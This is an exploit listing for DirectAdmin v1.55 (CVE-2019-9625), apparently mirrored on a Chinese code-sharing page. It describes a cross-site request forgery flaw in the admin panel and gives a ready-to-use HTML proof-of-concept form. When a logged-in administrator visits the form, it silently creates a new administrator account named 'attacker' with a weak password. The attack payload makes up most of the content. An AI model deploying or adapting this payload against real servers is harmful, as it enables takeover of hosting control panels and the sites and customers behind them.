扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
# Exploit title: DirectAdmin v1.55 - CSRF via CMD_ACCOUNT_ADMIN Admin Panel # Date: 03/03/2019 # Exploit Author: ManhNho # Vendor Homepage: https://www.directadmin.com/ # Software Link: https://www.directadmin.com/ # Demo Link: https://www.directadmin.com:2222/CMD_ACCOUNT_ADMIN # Version: 1.55 # CVE: CVE-2019-9625 # Tested on: Windows 10 / Kali Linux # Category: Webapps #1. Description ----------------------------------------------------- DirectAdmin v 1.55 have CSRF via CMD_ACCOUNT_ADMIN Admin Panel lead to create new admin account #2. PoC ----------------------------------------------------- a) Send below crafted request to logged in user who is having admin Administrator level access <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://server:2222/CMD_ACCOUNT_ADMIN" method="POST"> <input type="hidden" name="fakeusernameremembered" value="" /> <input type="hidden" name="fakepasswordremembered" value="" /> <input type="hidden" name="action" value="create" /> <input type="hidden" name="username" value="attacker" /> <input type="hidden" name="email" value="attacker@mail.com" /> <input type="hidden" name="passwd" value="123456" /> <input type="hidden" name="passwd2" value="123456" /> <input type="hidden" name="notify" value="yes" /> <input type="submit" value="Submit request" /> </form> </body> </html> b) Once the logged in user opens the URL the form will get submitted with active session ofadministrator and action get performed successfully. #3. References ----------------------------------------------------- https://github.com/ManhNho/CVEs/blob/master/New-Requests/DirectAdmin-CSRF https://nvd.nist.gov/vuln/detail/CVE-2019-9625 |
体验盒子
